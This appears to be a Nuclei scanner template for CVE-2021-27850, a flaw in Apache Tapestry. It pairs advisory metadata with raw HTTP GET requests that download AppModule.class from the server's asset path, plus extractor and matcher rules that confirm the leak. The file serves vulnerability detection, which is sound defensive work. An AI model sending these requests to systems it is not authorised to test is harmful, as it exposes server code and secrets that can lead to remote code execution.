61 lines
1.8 KiB
YAML
61 lines
1.8 KiB
YAML
id: CVE-2021-27850
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info:
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name: Apache Tapestry - Remote Code Execution
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author: pdteam
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severity: critical
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description: |
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Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
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- https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E
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- http://www.openwall.com/lists/oss-security/2021/04/15/1
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- https://security.netapp.com/advisory/ntap-20210528-0002/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-27850
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cwe-id: CWE-502
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tags: cve,cve2021,apache,tapestry
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requests:
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- raw:
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- |
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GET /assets/app/something/services/AppModule.class/ HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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- |
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GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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extractors:
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- type: regex
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regex:
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- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
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internal: true
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name: id
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part: header
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group: 1
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- 'application/java'
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part: header
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- type: word
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words:
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- 'configuration'
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- 'webtools'
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part: body
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condition: and
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# Enhanced by mp on 2022/05/17
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